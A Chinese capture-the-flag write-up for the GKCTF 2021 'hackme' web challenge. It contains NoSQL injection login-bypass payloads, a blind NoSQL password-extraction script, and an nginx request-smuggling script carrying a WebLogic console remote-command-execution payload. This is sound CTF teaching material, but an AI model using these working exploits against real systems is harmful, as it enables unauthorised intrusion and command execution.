[GKCTF 2021]hackme
知识点
- 关于CGI和FastCGI的理解
-
由Roarctf Easy Calc引起对http走私和分块传输绕过waf的思考
解题步骤
打开发现登录框,f12提示是nosql。用永真注入
{"username":{"$ne":1},"password": {"$ne":1}}
结果返回hacker。提示说要unicode绕过,因为json字符串会解析unicode,去https://www.branah.com/unicode-converter 转换一下:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
真假返回不同结果,明显是布尔盲注。贴一个nosql布尔盲注脚本:import requests import string password = '' url = 'http://node4.buuoj.cn:27409/login.php' while True: for c in string.printable: if c not in ['*', '+', '.', '?', '|', '#', '&', '$']: # When the method is GET get_payload = '?username=admin&password[$regex]=^%s' % (password + c) # When the method is POST post_payload = { "username": "admin", "password[$regex]": '^' + password + c } # When the method is POST with JSON json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c) headers = {'Content-Type': 'application/json'} r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json #r = requests.post(url=url, data=post_payload) if '但没完全登录' in r.content.decode(): print("[+] %s" % (password + c)) password += c
admin登陆之后,可以读取文件。读取/flag提示flag在内网里面。读取info.php告诉我们FPM/FastCGI打开。然后读取nginx配置文件
/usr/local/nginx/conf/nginx.conf
得知内网有weblogic服务打开。
用https://whoamianony.top/2021/06/27/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/GKCTF%20X%20DASCTF%E5%BA%94%E6%80%A5%E6%8C%91%E6%88%98%E6%9D%AF%20WEB%20WriteUP/ 里面的方法,跑不通,挂socks5代理之后打不开weblogic网站。
只好换一个方法
Nginx 版本为 1.17.6,而 Ngnix < 1.17.7 存在请求走私的漏洞,因此进行尝试。
用burp走私不太行,每次都404。直接贴脚本:import socket sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sSocket.connect(("node4.buuoj.cn", 26319)) payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n''' sSocket.send(payload) sSocket.settimeout(2) response = sSocket.recv(2147483647) while len(response) > 0: print(response.decode()) try: response = sSocket.recv(2147483647) except: break sSocket.close()
可以在回显里面找到flag